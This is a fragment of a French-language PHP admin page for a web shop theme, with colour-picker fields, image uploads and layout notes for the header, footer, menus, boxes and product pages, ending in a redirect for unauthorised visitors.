</div>
<br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_txt">Couleur Texte du site : </label>
<div class="controls">
<input type="text" class="jscolor" name="global_txt" style="width:65px;" value="<?php echo ''.$global_txt.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_hyp">Couleur Hypertexte texte du site : </label>
<div class="controls">
<input type="text" class="jscolor" name="global_hyp" style="width:65px;" value="<?php echo ''.$global_hyp.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_hov">Couleur Hover texte du site : </label>
<div class="controls">
<input type="text" class="jscolor" name="global_hov" style="width:65px;" value="<?php echo ''.$global_hov.''; ?>">
</div>
</div>
<br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="filS">Couleur Fond des Titres Site : </label>
<div class="controls">
<input type="text" class="jscolor" name="filS" style="width:65px;" value="<?php echo ''.$filS.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="filS">Couleur Texte des Titres Site : </label>
<div class="controls">
<input type="text" class="jscolor" name="tfilS" style="width:65px;" value="<?php echo ''.$tfilS.''; ?>">
</div>
</div>
<br />
<br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="fil">Couleur de Fond des Titres pour Email : </label>
<div class="controls">
<input type="text" class="jscolor" name="fil" style="width:65px;" value="<?php echo ''.$fil.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="filS">Couleur Texte des Titres pour Email : </label>
<div class="controls">
<input type="text" class="jscolor" name="tfil" style="width:65;height:22" value="<?php echo ''.$tfil.''; ?>">
</div>
</div>
<br /><hr /><br /><br /><h3> 2bis- Mise en forme des titres Html</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Titres h1 : </label>
<div class="controls">
<div class="white-space">
<input type="text" class="jscolor" name="hh1" style="width:65px;" value="<?php echo ''.$hh1.''; ?>"></div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Titres h2 : </label>
<div class="controls">
<div class="white-space">
<input type="text" class="jscolor" name="hh2" style="width:65px;" value="<?php echo ''.$hh2.''; ?>"></div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Titres h3 : </label>
<div class="controls">
<div class="white-space">
<input type="text" class="jscolor" name="hh3" style="width:65px;" value="<?php echo ''.$hh3.''; ?>">
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Titres h4 : </label>
<div class="controls">
<div class="white-space">
<input type="text" class="jscolor" name="hh4" style="width:65px;" value="<?php echo ''.$hh4.''; ?>">
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Titres h5 : </label>
<div class="controls">
<div class="white-space">
<input type="text" class="jscolor" name="hh5" style="width:65px;" value="<?php echo ''.$hh5.''; ?>"> </div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Titres h6 : </label>
<div class="controls">
<div class="white-space">
<input type="text" class="jscolor" name="hh6" style="width:65px;" value="<?php echo ''.$hh6.''; ?>">
</div>
</div>
</div>
<br /><hr /><br /><br /><h3> 3- Top site</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Couleur Fond TOP : </label>
<div class="controls">
<input type="text" class="jscolor" name="top" style="width:65px;" value="<?php echo ''.$top.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="top_hyp">Couleur HyperText TOP : </label>
<div class="controls">
<input type="text" class="jscolor" name="top_hyp" style="width:65px;" value="<?php echo ''.$top_hyp.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="top_hyp_hov">Couleur HoverText TOP : </label>
<div class="controls">
<input type="text" class="jscolor" name="top_hyp_hov" style="width:65px;" value="<?php echo ''.$top_hyp_hov.''; ?>">
</div>
</div>
<br /><hr /><br /><br /><h3> 4- Header</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="top">Couleur de fond Header : </label>
<div class="controls">
<input type="text" class="jscolor" name="head_coul" style="width:65px;" value="<?php echo ''.$head_coul.''; ?>"> Si pas d'image.
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Image Header Fond(<i>.png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Header" style="width:230px;" value="<?php echo ''.$Image_Header.''; ?>">
<input type="file" name="Header[]" multiple/>
</div>
</div>
</div>
<br /><br />
<div class="control-group">
<label class="control-label" for="title">Head coordonnées :</label>
<div class="controls">
<select name="head_coord">
<option value="0" <?php if($head_coord=='0')echo 'selected'; ?>>0- Non actif</option>
<option value="1" <?php if($head_coord=='1')echo 'selected'; ?>>1- Actif</option>
</select> Coordonnées entreprise : Actives sur toutes les pages.
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Position coordonnées depuis le Top : </label>
<div class="controls">
<input type="text" name="head_coordT" style="width:65px;" value="<?php echo $head_coordT; ?>"> (<i>en pixels, ne pas préciser px</i>)
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Position coordonnées depuisla gauche : </label>
<div class="controls">
<input type="text" name="head_coordG" style="width:65px;" value="<?php echo $head_coordG; ?>"> (<i>en %, ne pas préciser %</i>)
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="top">Couleur Texte : </label>
<div class="controls">
<input type="text" class="jscolor" name="head_coord_coul" style="width:65px;" value="<?php echo ''.$head_coord_coul.''; ?>">
<br /><br /><br />La taille des caractères coordonnées entreprise (.coordonnees) se fait dans global_end (css)<br />
Pour activer les PUB head il suffit d'aller dans l'onglet : Publicités.
<br />Si vous utilisez des Pub head elles sont placées à droite du site<br />
Pour ajuster la position de vos PUB (.advertissing) voir au besoin dans global_end (css).
</div>
</div>
<br /><br />Si vous utilisez les Full Slides (uniquement pour l' accueil) ou les Slides normaux cliquez sur l'onglet Slideshows.
<br />Un Full Slide doit faire : 1700px X 730px il peut-être en jpg ou png. Vous devez activer la fonction dans <b>'Configuration' section 4</b>.
<br />Un Slide normal doit faire : 950px X 300px il peut-être en jpg ou png.
<br /><br />
<br /><hr /><br /><br /><h3> 5- Bottom et pied de site</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Image du Bottom(<i>.png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Bottom" style="width:230px;" value="<?php echo ''.$Image_Bottom.''; ?>">
<input type="file" name="Bottom[]" multiple/>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="bottom">Couleur Fond BOTTOM : </label>
<div class="controls">
<input type="text" class="jscolor" name="bottom" style="width:65px;" value="<?php echo ''.$bottom.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="bottom_hyp">Couleur HyperText BOTTOM : </label>
<div class="controls">
<input type="text" class="jscolor" name="bottom_hyp" style="width:65px;" value="<?php echo ''.$bottom_hyp.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="bottom_hyp_hov">Couleur HoverText BOTTOM : </label>
<div class="controls">
<input type="text" class="jscolor" name="bottom_hyp_hov" style="width:65px;" value="<?php echo ''.$bottom_hyp_hov.''; ?>"> et titres rubriques du bottom
</div>
</div>
<br /><hr /><br /><br /><h3> 6- Footer</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Image du Footer (<i>.png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Footer" style="width:230px;" value="<?php echo ''.$Image_Footer.''; ?>">
<input type="file" name="Footer[]" multiple/>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="foot_coul">Couleur de fond footer : </label>
<div class="controls">
<input type="text" class="jscolor" name="foot_coul" style="width:65px;" value="<?php echo ''.$foot_coul.''; ?>">
<br />Si pas image (image <i>nom_du_theme_footer.png</i> dans explorateur de fichiers template/shop/img)
</div>
</div>
<br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="h5foot">Couleur Texte Bandeau H5 footer : </label>
<div class="controls">
<input type="text" class="jscolor" name="h5foot" style="width:65px;" value="<?php echo ''.$h5foot.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="textfoot">Couleur Texte Footer : </label>
<div class="controls">
<input type="text" class="jscolor" name="textfoot" style="width:65px;" value="<?php echo ''.$textfoot.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="hypfoot">Couleur Lien HyperT Footer : </label>
<div class="controls">
<input type="text" class="jscolor" name="hypfoot" style="width:65px;" value="<?php echo ''.$hypfoot.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="hovfoot">Couleur Lien HoverT Footer : </label>
<div class="controls">
<input type="text" class="jscolor" name="hovfoot" style="width:65px;" value="<?php echo ''.$hovfoot.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="h4foot">Couleur R.Sociaux H4 Footer : </label>
<div class="controls">
<input type="text" class="jscolor" name="h4foot" style="width:65px;" value="<?php echo ''.$h4foot.''; ?>">
</div>
</div>
<br /><hr /><br /><br /><h3> 7- Menu TOP du site</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Mini Logo (<i>Image .png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Mini_Logo" style="width:230px;" value="<?php echo ''.$Image_Mini_Logo.''; ?>">
<input type="file" name="minilogo[]" multiple/><br /> Le mini-logo doit être actif dans Configuration section 5
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="">Couleur Barre horizontal 100% : </label>
<div class="controls">
<input type="text" class="jscolor" name="fbarreh" style="width:65px;" value="<?php echo ''.$fbarreh.''; ?>"> Restera noire pour Smartphone </div>
</div>
<br /><center>--------------------------------</center><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="fil">Couleur Fond MENU : </label>
<div class="controls">
<input type="text" class="jscolor" name="fmenu" style="width:65px;" value="<?php echo ''.$fmenu.''; ?>"> hover : <input type="text" class="jscolor" name="fmenuhover" style="width:65px;" value="<?php echo ''.$fmenuhover.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="filS">Couleur Liens MENU : </label>
<div class="controls">
<input type="text" class="jscolor" name="hymenu" style="width:65px;" value="<?php echo ''.$hymenu.''; ?>"> hover : <input type="text" class="jscolor" name="homenu" style="width:65px;" value="<?php echo ''.$homenu.''; ?>">
</div>
</div>
<br /><center>--------------------------------</center><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="fil">Couleur sous-menu large FOND : </label>
<div class="controls">
<input type="text" class="jscolor" name="menu_large_fond" style="width:65px;" value="<?php echo ''.$menu_large_fond.''; ?>">
</div>
</div>
<br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="fil">Couleur Fond SOUS-MENU : </label>
<div class="controls">
<input type="text" class="jscolor" name="fsousmenu" style="width:65px;" value="<?php echo ''.$fsousmenu.''; ?>"> hover : <input type="text" class="jscolor" name="fsousmenuh" style="width:65px;" value="<?php echo ''.$fsousmenuh.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="fil">Couleur Liens SOUS-MENU : </label>
<div class="controls">
<input type="text" class="jscolor" name="hyssmenu" style="width:65px;" value="<?php echo ''.$hyssmenu.''; ?>"> hover : <input type="text" class="jscolor" name="hossmenu" style="width:65px;" value="<?php echo ''.$hossmenu.''; ?>">
</div>
</div>
<br />
<center>Pour les radius et bordures et autres voir : templates/shop/global_end...css</center>
<br />
<br /><hr /><br /><br /><h3> 7- Menu LATÉRAL du site</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="fil">FOND Cat. principale : </label>
<div class="controls">
<input type="text" class="jscolor" name="fond1" style="width:65px;" value="<?php echo ''.$fond1.''; ?>"> hover : <input type="text" class="jscolor" name="fond1h" style="width:65px;" value="<?php echo ''.$fond1h.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="filS">TEXTE Cat. principale : </label>
<div class="controls">
<input type="text" class="jscolor" name="texte1" style="width:65px;" value="<?php echo ''.$texte1.''; ?>"> hover : <input type="text" class="jscolor" name="texte1h" style="width:65px;" value="<?php echo ''.$texte1h.''; ?>">
</div>
</div>
<br /><center>--------------------------------</center><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="fil">FOND S/Catégorie : </label>
<div class="controls">
<input type="text" class="jscolor" name="fond3" style="width:65px;" value="<?php echo ''.$fond3.''; ?>"> hover : <input type="text" class="jscolor" name="fond3h" style="width:65px;" value="<?php echo ''.$fond3h.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="filS">TEXTE S/Catégorie : </label>
<div class="controls">
<input type="text" class="jscolor" name="texte3" style="width:65px;" value="<?php echo ''.$texte3.''; ?>"> hover : <input type="text" class="jscolor" name="texte3h" style="width:65px;" value="<?php echo ''.$texte3h.''; ?>">
</div>
<br /><center>--------------------------------</center><br /><br />
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="fil">FOND S/S/Catégorie : </label>
<div class="controls">
<input type="text" class="jscolor" name="fond2" style="width:65px;" value="<?php echo ''.$fond2.''; ?>"> hover : <input type="text" class="jscolor" name="fond2h" style="width:65px;" value="<?php echo ''.$fond2h.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="filS">TEXTE S/S/Catégorie : </label>
<div class="controls">
<input type="text" class="jscolor" name="texte2" style="width:65px;" value="<?php echo ''.$texte2.''; ?>"> hover : <input type="text" class="jscolor" name="texte2h" style="width:65px;" value="<?php echo ''.$texte2h.''; ?>">
</div>
</div>
<br />
<center>Maxi 3 niveaux pour le menu !</center>
<br />
<br /><hr /><br /><br /><h3> 8- Start To Top</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_hyp">Couleur Hypertexte : </label>
<div class="controls">
<input type="text" class="jscolor" name="start_hyp" style="width:65px;" value="<?php echo ''.$start_hyp.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_hov">Couleur Hover : </label>
<div class="controls">
<input type="text" class="jscolor" name="start_hov" style="width:65px;" value="<?php echo ''.$start_hov.''; ?>">
<br /><br />Pour changer la forme du bouton, Editez et modifiez le fichier : <br />templates/shop/css/global_end.css à la class : <b>.cd-top</b>
</div>
</div>
<br /><hr /><br /><br /><h3> 9- Couleurs des box colonne(s)</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="tfbox">Couleur Fond Titres Box : </label>
<div class="controls">
<input type="text" class="jscolor" name="tfbox" style="width:65px;" value="<?php echo ''.$tfbox.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="ttbox">Couleur Titres Box : </label>
<div class="controls">
<input type="text" class="jscolor" name="ttbox" style="width:65px;" value="<?php echo ''.$ttbox.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box">Couleur Fond Box : </label>
<div class="controls">
<input type="text" class="jscolor" name="box" style="width:65px;" value="<?php echo ''.$box.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_bor">Couleur Box Bordure : </label>
<div class="controls">
<input type="text" class="jscolor" name="box_bor" style="width:65px;" value="<?php echo ''.$box_bor.''; ?>">
</div>
</div>
<br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_txt">Couleur Box Texte : </label>
<div class="controls">
<input type="text" class="jscolor" name="box_txt" style="width:65px;" value="<?php echo ''.$box_txt.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_hyp">Couleur Box HyperT : </label>
<div class="controls">
<input type="text" class="jscolor" name="box_hyp" style="width:65px;" value="<?php echo ''.$box_hyp.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_hov">Couleur Box Hover : </label>
<div class="controls">
<input type="text" class="jscolor" name="box_hov" style="width:65px;" value="<?php echo ''.$box_hov.''; ?>">
</div>
</div>
<br />
<br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_txt">Couleur Fond hyp : </label>
<div class="controls">
<input type="text" class="jscolor" name="fahyp" style="width:65px;" value="<?php echo ''.$fahyp.''; ?>"> liens encadrés
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_txt">Couleur Fond hover : </label>
<div class="controls">
<input type="text" class="jscolor" name="fahov" style="width:65px;" value="<?php echo ''.$fahov.''; ?>"> liens encadrés
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_txt">Couleur txt Fond hyp : </label>
<div class="controls">
<input type="text" class="jscolor" name="fthyp" style="width:65px;" value="<?php echo ''.$fthyp.''; ?>"> liens encadrés
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="box_txt">Couleur txt Fond hover : </label>
<div class="controls">
<input type="text" class="jscolor" name="fthov" style="width:65px;" value="<?php echo ''.$fthov.''; ?>"> liens encadrés
</div>
</div>
<br />
<center>Pour les liens encadrés et la puce des titres Box voir : templates/shop/global_end...css </center>
<br />
<br /><hr /><br /><br /><h3> 10- Couleurs fiches produits</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="thum">Couleur fond produits : </label>
<div class="controls">
<input type="text" class="jscolor" name="thum" style="width:65px;" value="<?php echo ''.$thum.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="thumbord">Couleur Marques : </label>
<div class="controls">
<input type="text" class="jscolor" name="thumbord" style="width:65px;" value="<?php echo ''.$thumbord.''; ?>">
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="prix">Couleur Prix : </label>
<div class="controls">
<input type="text" class="jscolor" name="prix" style="width:65px;" value="<?php echo ''.$prix.''; ?>">
<br /><br />
Pour modifier les images des boutons produits et autres (panier, etc.) ouvrez l'explorateur de fichiers (templates/shop/img) et respectez le nom et le format de l'image à modifier.
<br />
<br />
</div>
</div>
<br /><br />
</form>
</div>
</div>
<?php
include_once('includes/footer.php');
echo '</div>';
} else {
echo '<script>';
echo 'window.location = "./index.php"';
echo '</script>';
}
?>